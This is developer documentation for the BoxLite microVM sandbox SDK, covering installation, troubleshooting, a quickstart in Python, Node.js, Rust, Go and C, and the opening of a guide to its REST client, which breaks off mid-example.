Discussions](https://github.com/boxlite-ai/boxlite/discussions) — questions and community support. Before opening an issue or a discussion, work through this checklist so the report is actionable: 1. Re-read this FAQ for an existing answer. 2. Search existing [issues](https://github.com/boxlite-ai/boxlite/issues) and [discussions](https://github.com/boxlite-ai/boxlite/discussions) — your question may already be answered. 3. Reproduce with debug logging enabled: `RUST_LOG=debug python your_script.py`. 4. Include the following in your report: * BoxLite version: `python -c "import boxlite; print(boxlite.__version__)"`. * Platform: `uname -a` (and Python/Node version where relevant). * A minimal reproduction and the full error message / stack trace. ## Is it working? A 20-second check The fastest "is it working?" check. Run a command in a throwaway sandbox and print the result. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python — requires: pip install boxlite import asyncio from boxlite import SimpleBox, BoxliteError async def main() -> None: try: # SimpleBox is an async context manager; the box is created on enter. async with SimpleBox(image="alpine:latest") as box: result = await box.exec("echo", "hello from boxlite") # exec() does NOT raise on non-zero exit — always check exit_code. if result.exit_code != 0: print(f"command failed ({result.exit_code}): {result.stderr}") else: print(result.stdout.strip()) except BoxliteError as exc: print(f"BoxLite error: {exc}") except RuntimeError as exc: # Image pull / virtualization failures surface as builtin RuntimeError. print(f"runtime error (image pull or virtualization?): {exc}") asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // Node — requires: npm install @boxlite-ai/boxlite import { SimpleBox } from "@boxlite-ai/boxlite"; async function main(): Promise { try { // `await using` disposes the box automatically on scope exit. await using box = new SimpleBox({ image: "alpine:latest" }); const result = await box.exec("echo", "hello from boxlite"); // exec() does NOT throw on non-zero exit — check exitCode yourself. if (result.exitCode !== 0) { console.error(`command failed (${result.exitCode}): ${result.stderr}`); } else { console.log(result.stdout.trim()); } } catch (err) { // Missing commands / pull failures may surface as a bare Error. console.error("boxlite error:", err); } } main(); ``` # Introduction to BoxLite Source: https://docs.boxlite.ai/getting-started/index What a Box actually is, how it differs from a container, and which of its capabilities are ready to build on today. ## A Box is a microVM, not a container A Box starts a lightweight virtual machine in one line of code and runs any standard container image (Docker / OCI) inside it. Four properties distinguish it from an ordinary container: * **Hardware-level isolation.** Each Box has its own kernel (KVM on Linux, Hypervisor.framework on macOS) rather than sharing the host kernel through namespaces. That boundary is what makes it safe to run untrusted or model-generated code. * **Stateful.** Most sandboxes are destroyed after a single execution, so the environment has to be rebuilt every time. A Box is a persistent workspace: after `stop` and a later `start`, installed packages and written files are still there. * **No daemon.** BoxLite is embedded as a library inside your process. It needs no root and no background service. * **Local-first.** It runs entirely on your machine without a cloud account, and scales out horizontally when you need it. ## When to use it | Scenario | Why it fits | | - | - | | Running LLM- or agent-generated code | Hardware isolation and an egress allowlist keep mistakes and exfiltration away from the host | | An environment you "install once, reuse repeatedly" | A Box keeps its state across stop/start, so you do not rebuild it each time | | Multi-tenant or concurrent execution of untrusted tasks | An async-first API lets you run many mutually isolated Boxes on one host | | Browser automation, desktop automation, or running a coding agent | `BrowserBox`, `ComputerBox`, and `SkillBox` cover these directly | ## What is ready to build on Every Box type, lifecycle management, custom resources / volumes / network, snapshots, secrets, code execution, browser automation, running a coding agent in a box, and a REST client are all available today. For the capabilities people most often ask about, here is the current path: | You want to | How it works today | | - | - | | Expose a sandbox over MCP | Wrap `SimpleBox.exec` in your own MCP server — [MCP tool handler](/agent-tools/mcp-server) | | Run Git / GitHub workflows | `exec` the `git` / `gh` CLIs with the token injected via `secrets` — [GitHub operations](/agent-tools/github-operations) | | Give a human a graphical desktop | `ComputerBox`'s noVNC desktop plus port forwarding — [Desktop access](/human-tools/desktop-access) | | Drive a sandbox from an agent loop | An LLM tool-use loop calling `SimpleBox.exec` — [Drive a sandbox from your agent loop](/agent-tools/drive-from-agent-loop) | | Use a PTY from Rust / C / Go | Set the TTY flag on the exec call — Rust `.tty(true)`, C `cmd.tty = 1`, Go `WithTty(true)`; the `InteractiveBox` wrapper is Python and Node — [Interactive shell (PTY)](/agent-tools/pseudo-terminal) | | Connect to a remote BoxLite service | The `Boxlite.rest(...)` client — [Manage remote sandboxes over REST](/guides/agent-service-endpoint) | ## Next 1. **Install it** — [Installation](/getting-started/installation) covers every SDK, the CLI, and the virtualization requirement. 2. **Run something** — pick the [Python](/getting-started/quickstart), [Node.js](/getting-started/quickstart), [Rust](/getting-started/quickstart), [Go](/getting-started/quickstart), or [C](/getting-started/quickstart) quickstart. 3. **Choose a Box type** — [Box types](/manage-sandbox/sandbox-types) compares all six and their defaults. 4. **See what you are operating** — [Architecture overview](/architecture/index) traces one `exec` from your process to the guest. Hitting an error already? Environment and install problems are on [Installation](/getting-started/installation#troubleshooting); exception types and API pitfalls are on [Error handling](/guides/error-handling); quick answers are in the [FAQ](/faq). # Installation Source: https://docs.boxlite.ai/getting-started/installation Install the four SDKs and the CLI, and confirm your machine meets the virtualization requirement. BoxLite is not an ordinary container runtime — it starts a real lightweight VM (Hypervisor.framework on macOS, KVM on Linux), so beyond the package you need hardware virtualization. **You may not need this page.** For most people `pip install boxlite` (or the npm / cargo / go equivalent) is the whole install, and the [Quickstart](/getting-started/quickstart) has it inline. Come here for the platform matrix, offline and pinned installs, building from source, the CLI, and install troubleshooting. **No hardware virtualization on this machine?** Nothing on this page will fix that — CI runners, most nested VMs, and containers cannot run a microVM. Use [BoxLite Cloud](/cloud/quickstart) instead: your machine needs only an API key and HTTPS, and it is the same SDK. ## Prerequisites ### Platform and virtualization requirements (common to all SDKs) | Platform | Architecture | Status | Virtualization requirement | | - | - | - | - | | macOS | Apple Silicon (ARM64) | Supported | macOS 12+, built-in Hypervisor.framework (no `/dev/kvm` needed) | | macOS | Intel (x86\_64) | Not supported | — | | Linux | x86\_64 | Supported | KVM enabled, `/dev/kvm` accessible | | Linux | ARM64 (aarch64) | Supported | KVM enabled, `/dev/kvm` accessible | | Windows | x86\_64 | Supported via WSL2 | Configure KVM inside WSL2 per the Linux requirements | > Platform support source: the platform table in the repository root `README.md`. macOS arm64 runs without `/dev/kvm` (it uses Hypervisor.framework). **Network**: the first run of any image pulls it from the registry, so outbound network access is required once per image. Later runs use the local layer cache. Without hardware virtualization the box fails to start — see [Troubleshooting](#troubleshooting) below. ### Language runtime versions | SDK | Minimum version | Install method | | - | - | - | | Python | 3.10+ | `pip install boxlite` (prebuilt wheel) | | Node.js | 18+ | `npm install @boxlite-ai/boxlite` (prebuilt native module) | | Rust | 1.88 or newer (`Cargo.toml` `rust-version`) | Build from source (crate name `boxlite`) | | Go | 1.24+, CGO enabled | `go get github.com/boxlite-ai/boxlite/sdks/go` + `go run .../cmd/setup` (prebuilt native library) | | C | C11-compatible compiler (GCC/Clang) | Build `libboxlite` from source | | CLI | — | One-line script / cargo / source | ### Required only when building from source: protoc The prebuilt pip / npm packages **do not** need `protoc`. But when you build the Rust core from source (this includes `cargo build` for the Rust SDK, the C SDK, and the CLI), the build script `src/shared/build.rs` calls `protoc` to compile the Protocol Buffers and requires **protoc >= 3.12** (for proto3 optional fields). ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Install protoc (choose one per platform) # macOS (Homebrew) brew install protobuf # Ubuntu / Debian sudo apt-get update && sudo apt-get install -y protobuf-compiler # Verify the version (must be >= 3.12) protoc --version # Expected output, e.g.: libprotoc 3.21.12 ``` > The repository provides `make setup:build`, which installs the build dependencies (including protoc) per platform. Run it before building from source. *** ## Verify the install ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Python python3 -c "import boxlite; print(boxlite.__version__)" # Node node -e "console.log(require('@boxlite-ai/boxlite/package.json').version)" # CLI boxlite --version ``` A runnable first box, in all five languages, is on the [Quickstart](/getting-started/quickstart). ## Parameters and Returns ### Install artifacts and entry points | SDK | Package / artifact | Install command | Import / link method | Verify | | - | - | - | - | - | | Python | `boxlite` (PyPI) | `pip install boxlite` | `import boxlite` | `boxlite.__version__` | | Node.js | `@boxlite-ai/boxlite` (npm) | `npm install @boxlite-ai/boxlite` | `import { SimpleBox } from "@boxlite-ai/boxlite"` | See Troubleshooting below | | Rust | crate `boxlite` (source `src/boxlite/src/`) | `cargo build --release -p boxlite` | `use boxlite::...;` | `cargo build` succeeds | | C | `libboxlite.{dylib,so,a}` + `sdks/c/include/boxlite.h` | `cargo build --release -p boxlite-c` | `#include "boxlite.h"` + link `-lboxlite` | `boxlite_version()` | | CLI | `boxlite` binary | `curl -fsSL https://sh.boxlite.ai \| sh` | Command-line invocation | `boxlite --help` | > Note: the Node package name is `@boxlite-ai/boxlite`, **not** `boxlite` and **not** `@boxlite/sdk`. It is pure ESM (`"type": "module"`). ### Python optional extras | Extra | Install command | Provides | Behavior when missing | | - | - | - | - | | default | `pip install boxlite` | Async API (`SimpleBox` / `CodeBox`, etc.) | — | | `sync` | `pip install "boxlite[sync]"` | Sync API (`SyncBoxlite` / `SyncSimpleBox`, etc.; needs greenlet) | Accessing a Sync class raises `AttributeError` | | `orchestration` | `pip install "boxlite[orchestration]"` | Orchestration (`BoxRuntime` / `ManagedBox`; needs cloudpickle) | These classes are unavailable | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Install both sync and orchestration capabilities at once pip install "boxlite[sync,orchestration]" ``` ### CLI install methods | Method | Command | Notes | | - | - | - | | One-line script | `curl -fsSL https://sh.boxlite.ai \| sh` | Installs to `$HOME/.local/bin/boxlite` (make sure that directory is on `PATH`) | | cargo (compile from source) | `cargo install boxlite-cli` | Needs the Rust toolchain + protoc | | cargo binstall (prebuilt) | `cargo binstall boxlite-cli` | Pulls a prebuilt binary, no compilation | | Build from source | `cargo build --release -p boxlite-cli` | Output at `target/release/boxlite` | ### Pinning a version and overriding the install directory The one-line script reads three environment variables. The env-var prefix has to sit on the `sh` side of the pipe — variables placed before `curl` only decorate the curl process and never reach the installer. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Pin a version and choose a custom install directory curl -fsSL https://sh.boxlite.ai \ | BOXLITE_VERSION=vX.Y.Z BOXLITE_INSTALL_DIR=/usr/local/bin sh ``` | Variable | Effect | | - | - | | `BOXLITE_VERSION` | Installs a specific tagged release (for example `vX.Y.Z`) instead of `latest` | | `BOXLITE_INSTALL_DIR` | Installs the binary to this directory instead of `$HOME/.local/bin` | | `BOXLITE_EXPECTED_SHA256` | Pins the expected SHA-256 of the downloaded tarball (see below) | When you pin a non-latest version, the installer falls back to the remote `.sha256` sidecar in that release for the expected digest. That anchor shares its trust root with the tarball, so for a guarantee independent of the release page, look up the digest in the release's attested `SHA256SUMS` and pass it in explicitly: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Pin both the version and an independently attested digest curl -fsSL https://sh.boxlite.ai \ | BOXLITE_VERSION=vX.Y.Z \ BOXLITE_EXPECTED_SHA256= sh ``` ### Verifying the installer and artifacts Each release publishes raw tarballs (`boxlite-cli-vX.Y.Z-.tar.gz`), matching `.sha256` sidecars, a combined `SHA256SUMS`, and sigstore-backed build provenance attestations. Verifying these is the recommended path before running anything in production or untrusted environments. To verify a manually downloaded tarball: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Check the digest against the published sidecar sha256sum -c "boxlite-cli-${VERSION}-${TARGET}.tar.gz.sha256" # Verify the build provenance attestation (requires the GitHub CLI) gh attestation verify "boxlite-cli-${VERSION}-${TARGET}.tar.gz" \ --repo boxlite-ai/boxlite ``` The `curl … | sh` shortcut cannot self-verify, since the script runs as it is piped in. To verify `install.sh` before running it — it is also covered by `SHA256SUMS`, an `install.sh.sha256` sidecar, and the same sigstore attestation: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} curl -fsSL -o install.sh \ "https://github.com/boxlite-ai/boxlite/releases/latest/download/install.sh" curl -fsSL -o install.sh.sha256 \ "https://github.com/boxlite-ai/boxlite/releases/latest/download/install.sh.sha256" sha256sum -c install.sh.sha256 gh attestation verify install.sh --repo boxlite-ai/boxlite sh ./install.sh ``` ### Node prebuilt native targets The native binaries bundled with the npm package cover `aarch64-apple-darwin`, `x86_64-unknown-linux-gnu`, and `aarch64-unknown-linux-gnu`. There is **no Windows artifact** (use WSL2). `playwright-core` is an optional peer dependency (used only by BrowserBox). *** ## Troubleshooting The following collects common errors and platform-specific issues. ### Linux: KVM unavailable / permission denied If the host genuinely has no virtualization — a CI runner, a nested VM, a container — none of the steps below apply. [BoxLite Cloud](/cloud/quickstart) needs no local virtualization. **Error:** Box fails to start, reporting it cannot access `/dev/kvm` or `Permission denied`. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Confirm the CPU supports virtualization grep -E 'vmx|svm' /proc/cpuinfo # any output means supported # Confirm the KVM module is loaded and the device exists lsmod | grep kvm ls -l /dev/kvm # Add the current user to the kvm group (requires re-login or newgrp to take effect) sudo usermod -aG kvm $USER newgrp kvm ``` This is an environment constraint: without hardware virtualization the start fails, but the process stays alive and can be caught with `try/except` (Python) or `try/catch` (Node). ### macOS: Intel machine or an old system **What you see:** Python raises `RuntimeError`, Node throws a bare `Error`, and the C SDK returns `UnsupportedEngine` (code 19) — or the process segfaults. * Only Apple Silicon (ARM64) is supported. Intel Macs are not supported. * macOS 12+ is required. Hypervisor.framework is built into the system, needs no manual setup, and does not require `/dev/kvm`. ### macOS: the box starts but is immediately denied by the sandbox On Apple Silicon the box runs under a Seatbelt policy, which can reject a path or operation your image needs. The symptom is a start that fails with a `sandbox` or `deny` message rather than a virtualization error. See [Debug macOS Seatbelt denials](/development/macos-sandbox-debugging) for how to read the denial and loosen the policy. ### Windows: a direct install does not run BoxLite has no native Windows artifact. Install inside WSL2 and configure KVM per the Linux steps above (WSL2 requires the user in the `kvm` group). ### Building from source: protoc not found or too old **Error:** the build stops, reporting that `protoc` is missing, or that proto3 optional fields fail to compile. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Install and confirm the version is >= 3.12 brew install protobuf # macOS sudo apt-get install -y protobuf-compiler # Ubuntu/Debian protoc --version # must be >= 3.12 ``` Reminder: prebuilt `pip install boxlite` / `npm install @boxlite-ai/boxlite` **do not** invoke protoc; only the `cargo build` path needs it. When building from source, run `make setup:build` first to gather dependencies. ### Building from source: forgot to init submodules **Error:** the build is missing the vendored dependency sources under `src/deps/` (libkrun, libkrunfw, e2fsprogs, and bubblewrap are all git submodules). ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} git submodule update --init --recursive # required after cloning ``` ### Node: native extension not found / unsupported engine **Error:** `BoxLite native extension not found` or `Unsupported engine`. * Confirm Node >= 18: `node --version`. * Confirm the platform is on the prebuilt target list (macOS arm64 / Linux x64 / Linux arm64). Intel Mac and native Windows are not supported. * The package is pure ESM; use `import` (or `.mjs`). CommonJS `require()` fails. ### Image pull failure raises RuntimeError (not BoxliteError) A missing command or an image pull failure raises a standard `RuntimeError` (Python) / bare `Error` (Node), not `BoxliteError`. See [Error Handling](/guides/error-handling#troubleshooting). ### Verifying the install prints an unexpected version `boxlite.__version__` reads `importlib.metadata.version("boxlite")`, i.e. the actually installed package version. A mismatch usually means an old version is installed in the environment: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} pip install --upgrade boxlite python -c "import boxlite; print(boxlite.__version__)" ``` ### Enabling debug logs Any SDK or the CLI can control the underlying runtime logs with `RUST_LOG` to diagnose a stalled start or a pull problem: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} RUST_LOG=debug python hello_boxlite.py # Log levels: trace / debug / info / warn / error ``` # Quickstart Source: https://docs.boxlite.ai/getting-started/quickstart Install BoxLite and run your first sandbox — the same five steps in Python, Node.js, Rust, Go, and C. Five steps get you a running box: **create it, start it, run something inside, read the output, tear it down.** Every language below does exactly that. ## Prerequisites * **Hardware virtualization on this machine** — KVM on Linux, Apple Silicon on macOS, WSL2 on Windows. If you do not have it, the box will not start; take the [BoxLite Cloud track](/cloud/quickstart) instead, which needs none. * The toolchain for your language: Python 3.9+, Node.js 18+, Rust 1.88+, Go 1.24+ with CGO, or a C11 compiler. Platform matrix, offline installs, and the CLI are on [Installation](/getting-started/installation). ## Install ```bash Python theme={"theme":{"light":"github-light","dark":"github-dark"}} pip install boxlite # Verify python3 -c "import boxlite; print(boxlite.__version__)" ``` ```bash Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} npm install @boxlite-ai/boxlite ``` ```bash Rust theme={"theme":{"light":"github-light","dark":"github-dark"}} cargo add boxlite cargo add tokio --features macros,rt-multi-thread cargo add futures ``` ```bash Go theme={"theme":{"light":"github-light","dark":"github-dark"}} go get github.com/boxlite-ai/boxlite/sdks/go # One-time: fetches the prebuilt native library for your platform go run github.com/boxlite-ai/boxlite/sdks/go/cmd/setup ``` ```bash C theme={"theme":{"light":"github-light","dark":"github-dark"}} # The C SDK is built from source; see the C track on Installation. git clone https://github.com/boxlite-ai/boxlite && cd boxlite make sdk-c ``` ## Your first box ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # hello.py — your first BoxLite sandbox import asyncio import boxlite async def main() -> None: try: # async with: the box is created and started on entry, and stopped and cleaned up on exit (auto_remove defaults to True) async with boxlite.SimpleBox(image="python:alpine") as box: print(f"Sandbox started: {box.id}") # exec does not raise on a non-zero exit code; check exit_code yourself result = await box.exec("python", "-c", "print('Hello from BoxLite!')") print("stdout:", result.stdout.strip()) print("exit_code:", result.exit_code) if result.exit_code != 0: print("stderr:", result.stderr.strip()) except RuntimeError as exc: # Image pull failure / startup failure without virtualization both raise a standard RuntimeError print(f"Sandbox failed to run: {exc}") if __name__ == "__main__": asyncio.run(main()) ``` ```javascript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // hello.mjs — your first BoxLite sandbox import { SimpleBox } from "@boxlite-ai/boxlite"; async function main() { // alpine:latest is small and quick to pull, suitable for smoke tests. // Without cpus/memoryMib, the runtime's default VM size applies. // Pass cpus/memoryMib explicitly to control the footprint. const box = new SimpleBox({ image: "alpine:latest" }); try { // exec(cmd, ...args) -> { exitCode, stdout, stderr } const result = await box.exec("echo", "Hello from BoxLite!"); // Important: a non-zero exit code does not raise; check exitCode yourself. if (result.exitCode !== 0) { throw new Error(`Command failed (exit ${result.exitCode}): ${result.stderr}`); } console.log("stdout:", result.stdout.trim()); console.log("exitCode:", result.exitCode); } catch (err) { // Image pull failure / missing command, etc. raise a standard Error (not necessarily a BoxliteError). console.error("Execution error:", err); process.exitCode = 1; } finally { // The box is lazily created; stop() stops and cleans up (autoRemove defaults to true). await box.stop(); } } main(); ``` ```rust Rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::{BoxCommand, BoxOptions, BoxliteRuntime, RootfsSpec}; use futures::StreamExt; // provides .next() for the stdout stream #[tokio::main] async fn main() -> Result<(), Box> { // 1. Get the global default runtime (construction is synchronous; do not .await) let runtime = BoxliteRuntime::default_runtime(); // 2. Configure a box based on the alpine image let options = BoxOptions { rootfs: RootfsSpec::Image("alpine:latest".into()), ..Default::default() }; // 3. Create the box (pass None as name to let the runtime auto-name it). create/exec/stop are async let litebox = runtime.create(options, None).await?; println!("Created box: {}", litebox.id()); // 4. Execute a command — note the method is exec (not run) let mut execution = litebox .exec(BoxCommand::new("echo").arg("Hello from BoxLite!")) .await?; // 5. Read stdout as a stream (each item is one line String) if let Some(mut stdout) = execution.stdout() { while let Some(line) = stdout.next().await { println!("{}", line); } } // 6. Wait for completion and check the exit code (a non-zero code does not error automatically; check it yourself) let result = execution.wait().await?; if !result.success() { eprintln!("Command exited with a non-zero code: {}", result.exit_code); } // 7. Cleanup: stop the box litebox.stop().await?; Ok(()) } ``` ```go Go theme={"theme":{"light":"github-light","dark":"github-dark"}} package main import ( "context" "fmt" "log" boxlite "github.com/boxlite-ai/boxlite/sdks/go" ) func main() { ctx := context.Background() // 1. Get the runtime (synchronous construction; no .Close() needed until you're done with it) rt, err := boxlite.NewRuntime() if err != nil { log.Fatal(err) } defer rt.Close() // 2. Create a box (default rootfs is set by the image argument) box, err := rt.Create(ctx, "alpine:latest") if err != nil { log.Fatal(err) } defer box.Close() // 3. Execute a command — Exec implicitly starts the box on first call res, err := box.Exec(ctx, "echo", "Hello from BoxLite!") if err != nil { // A nil res accompanies a non-nil err: check err before touching res log.Fatal(err) } // 4. A non-zero exit code does not become an error — check it yourself if res.ExitCode != 0 { fmt.Printf("command failed (exit=%d): %s", res.ExitCode, res.Stderr) return } fmt.Print(res.Stdout) } ``` ```c C theme={"theme":{"light":"github-light","dark":"github-dark"}} #include #include "boxlite.h" int main(void) { CBoxliteSimple *box = NULL; CBoxliteError error = {0}; /* must be zero-initialized */ /* Create and automatically start a box. Passing 0 for cpus/memory = use defaults. */ BoxliteErrorCode code = boxlite_simple_new("python:slim", 0, 0, &box, &error); if (code != Ok) { fprintf(stderr, "create box failed (code %d): %s\n", error.code, error.message ? error.message : "unknown"); boxlite_error_free(&error); /* free error.message on the failure path too */ return 1; } /* Run inside the box: python -c "print('Hello from BoxLite!')" */ const char *args[] = {"-c", "print('Hello from BoxLite!')"}; CBoxliteExecResult *result = NULL; code = boxlite_simple_run(box, "python", args, 2, &result, &error); if (code == Ok) { printf("exit code: %d\n", result->exit_code); printf("stdout: %s", result->stdout_text ? result->stdout_text : ""); if (result->stderr_text && result->stderr_text[0]) { fprintf(stderr, "stderr: %s", result->stderr_text); } boxlite_result_free(result); /* free the result (includes stdout/stderr strings) */ } else { fprintf(stderr, "exec failed (code %d): %s\n", error.code, error.message ? error.message : "unknown"); boxlite_error_free(&error); } boxlite_simple_free(box); /* automatically stop + remove + free the runtime */ return 0; } ``` Run it: ```bash Python theme={"theme":{"light":"github-light","dark":"github-dark"}} python hello.py ``` ```bash Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} node hello.mjs ``` ```bash Rust theme={"theme":{"light":"github-light","dark":"github-dark"}} cargo run ``` ```bash Go theme={"theme":{"light":"github-light","dark":"github-dark"}} go run hello.go ``` ```bash C theme={"theme":{"light":"github-light","dark":"github-dark"}} ./hello ``` Each language prints its own shape. Python and Node.js, run on an Apple Silicon Mac: ```text Python theme={"theme":{"light":"github-light","dark":"github-dark"}} Sandbox started: mgu4zgTIGXLL stdout: Hello from BoxLite! exit_code: 0 ``` ```text Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} stdout: Hello from BoxLite! exitCode: 0 ``` ## What keeps the box alive Worth knowing before you build anything longer than the script above, because it decides when a box disappears. Every box runs one **main command** — the image's `ENTRYPOINT + CMD`, or whatever you pass as `entrypoint` / `cmd`. It runs as PID 1 inside the box, and **the box stops when it exits**. `python:alpine` above has a long-running main command, which is why `exec` works. Two consequences: * Set `cmd` to something short-lived and the box stops as soon as it finishes. A later `exec` is refused until you `start()` again. * A crashed main command stops the box, and nothing restarts it. There is no restart policy. Which means there are two ways to run work, and they behave differently: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # 1. Work beside the main command — the box outlives the work. # Use this for agent jobs, and when you want to inspect the box afterwards. async with boxlite.SimpleBox(image="python:alpine") as box: await box.exec("python", "-c", "print('a job')") # 2. Work as the main command — the box lives exactly as long as the work. # Use this for services, and for one-shot runs whose exit code you need. async with boxlite.SimpleBox( image="python:alpine", entrypoint=["python3"], cmd=["-c", "import time; time.sleep(3600)"], ) as box: ... ``` [The main command](/manage-sandbox/lifecycle#the-main-command) covers the full rules, and [Exit codes](/manage-sandbox/lifecycle#exit-codes) covers how to read what the main command exited with. *** ### The scope that owns the box This applies in every language, and it is the first thing that surprises people. A box is tied to the scope that owns it. In Python and Node the `async with` / `await using` block owns it, and **the box is destroyed when that block exits** — including when an exception unwinds it. In Rust, Go, and C the box lives until you remove it explicitly, so a program that exits early leaves it running. Two consequences: * **Do not return a box handle out of the block that created it.** The box is already gone by the time the caller sees it. * **In Rust, Go, and C, tear down in the error path too.** A `defer`, a `Drop`, or an explicit cleanup label — otherwise a crashed program leaves a box behind, and on Cloud a leftover box keeps costing you money. See [What a box costs](/cloud/box-costs). ## Next: running untrusted code `SimpleBox` runs commands you wrote. For code an LLM produced, **`CodeBox`** is the type you want — it adds a language-aware execution surface on top of the same isolation. `CodeBox` is available in **Python and Node.js**. In Rust, Go, and C, run untrusted code through `SimpleBox` and the exec API. See [Run code in a sandbox](/agent-tools/code-execution-python) for the full treatment. ## Parameters and returns The per-language signatures, types, and return shapes live in the SDK reference: ## Troubleshooting ### `Schema version mismatch` aborts the process All BoxLite SDKs share one database at `~/.boxlite/db/boxlite.db`, and a newer SDK upgrades its schema in place. An older SDK then finds a schema it does not know and stops — a Python SDK that took the database to schema v10 leaves a Node SDK expecting v8 unable to start: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} Schema version mismatch: database has v10, process expects v8. Upgrade boxlite to a newer version. fatal runtime error: failed to initiate panic, error 5, aborting ``` **This is a process abort, not an exception — a `try`/`catch` around your code does not catch it.** Install the same version of every SDK you use. When you need two versions side by side, give the older process its own data directory: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} BOXLITE_HOME="$PWD/.boxlite-node" node hello.mjs ``` ### Everything else | Symptom | Cause | Fix | | - | - | - | | The box fails to start with a virtualization error | The machine has no KVM, no Apple Silicon hypervisor, or is a nested VM or container | Use the [Cloud track](/cloud/quickstart), which needs no local virtualization. Full matrix on [Installation](/getting-started/installation) | | A non-zero exit code does not raise an exception | `exec` returns the exit code rather than raising | Check `result.exit_code` yourself, as every example above does | | Node aborts with `Schema version mismatch` and `try`/`catch` does not catch it | All SDKs share `~/.boxlite/db/boxlite.db`; a newer SDK upgraded its schema in place, and the older one aborts rather than raising | Give the older process its own `BOXLITE_HOME`, or match SDK versions. See [above](#schema-version-mismatch-aborts-the-process) | | The box is gone before you use it | The `async with` / `await using` block that owned it exited | Keep the work inside the block, or use the runtime API to create a box you own explicitly | | A crashed program left a box running | Rust, Go, and C do not tear down on scope exit | Tear down in the error path — `defer`, `Drop`, or an explicit cleanup | | `cargo build` fails on a missing `protoc` | The Rust build needs Protocol Buffers | Install `protobuf` for your platform, then rebuild | ## Next steps SimpleBox, CodeBox, BrowserBox, ComputerBox — which type for which job. Run code, drive a PTY, a browser, or a desktop from your agent. What actually happens when you call `exec`. The same SDK against a hosted runtime — no local virtualization. # Manage remote sandboxes over REST Source: https://docs.boxlite.ai/guides/agent-service-endpoint Manage a fleet of sandboxes through one REST endpoint — your code needs only a URL and an API key, not local virtualization. The SDK ships a REST **client**. Point it at a host running `boxlite serve` and your `create` / `exec` / `list_info` / `remove` calls become HTTP and WebSocket requests served by real microVMs elsewhere. Swapping `Boxlite.default()` for `Boxlite.rest(...)` leaves your call sites almost unchanged. ## Prerequisites * A working BoxLite install (Python `boxlite` or Node `@boxlite-ai/boxlite`) and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). | Prerequisite | Notes | | - | - | | A reachable REST endpoint | A remote host running `boxlite serve`, or a hosted endpoint URL. | | API key (optional) | Required when the server is started with `--api-key` — the client must supply a matching key. A local server started without `--api-key` runs in permissive mode and accepts any bearer, including none. | Start a local server for integration testing (on a host with virtualization): ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Listen on 0.0.0.0:8100, development permissive mode (accepts any/no bearer) boxlite serve # Custom port + enforced Bearer authentication (requests without the correct key return 401) boxlite serve --port 8100 --api-key dev-key ``` By default the client reaches the server on the same host at `http://localhost:8100`. ## Quick Example Minimal happy path: connect to a remote endpoint and list existing boxes. Runs as-is (start `boxlite serve` in another terminal first). ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import ApiKeyCredential, Boxlite, BoxliteRestOptions # TODO: replace with your real endpoint and API key SERVER_URL = "http://localhost:8100" # API_KEY = "local-dev-key" # a permissive server accepts any value (and no credential) async def main() -> None: # Construct the REST client runtime handle (synchronous construction; do not await) # When connecting to the reference server (openapi/reference-server), pass path_prefix="default", # because it mounts routes at /v1/{prefix}/boxes; without it the client request to /v1/boxes returns 404. runtime = Boxlite.rest( BoxliteRestOptions( url=SERVER_URL, credential=ApiKeyCredential(API_KEY), path_prefix="default", # The parameter is path_prefix (not prefix); the reference server uses "default" ) ) try: # List remote boxes over REST (under the REST path these runtime methods are awaitable) boxes = await runtime.list_info() print(f"Remote box count: {len(boxes)}") for info in boxes: # Note: status is at info.state.status (BoxStateInfo.status is a string) print(f" - id={info.id} name={info.name} status={info.state.status}") except Exception as exc: # Network unreachable / 401 authentication failure, etc. print(f"Connection or listing failed: {exc!r}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { JsBoxlite, BoxliteRestOptions, ApiKeyCredential } from "@boxlite-ai/boxlite"; const SERVER_URL = "http://localhost:8100"; // const API_KEY = "local-dev-key"; // async function main(): Promise { // The runtime class is JsBoxlite (there is no bare Boxlite) const runtime = JsBoxlite.rest( new BoxliteRestOptions({ url: SERVER_URL, credential: new ApiKeyCredential(API_KEY), pathPrefix: "default", // Required when connecting to the reference server; otherwise requests to /v1/boxes hit 404 }), ); try { const boxes = await runtime.listInfo(); console.log(`Remote box count: ${boxes.length}`); for (const info of boxes) { console.log(` - ${info.id} name=${info.name} status=${info.state.status}`); } } catch (err) { console.error("Connection or listing failed:", err); } } main(); ``` > Key point: `Boxlite.rest(...)` / `JsBoxlite.rest(...)` is a **synchronous** constructor, but the runtime operations under the REST client (`create` / `get` / `get_info`/`getInfo` / `list_info`/`listInfo` / `metrics` / `remove`) must be `await`ed. The local runtime handle behaves the same way: synchronous construction, async methods. ### Create, Execute, Reclaim (End to End) ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import ApiKeyCredential, Boxlite, BoxOptions, BoxliteRestOptions SERVER_URL = "http://localhost:8100" # API_KEY = "local-dev-key" # async def main() -> None: runtime = Boxlite.rest( BoxliteRestOptions(url=SERVER_URL, 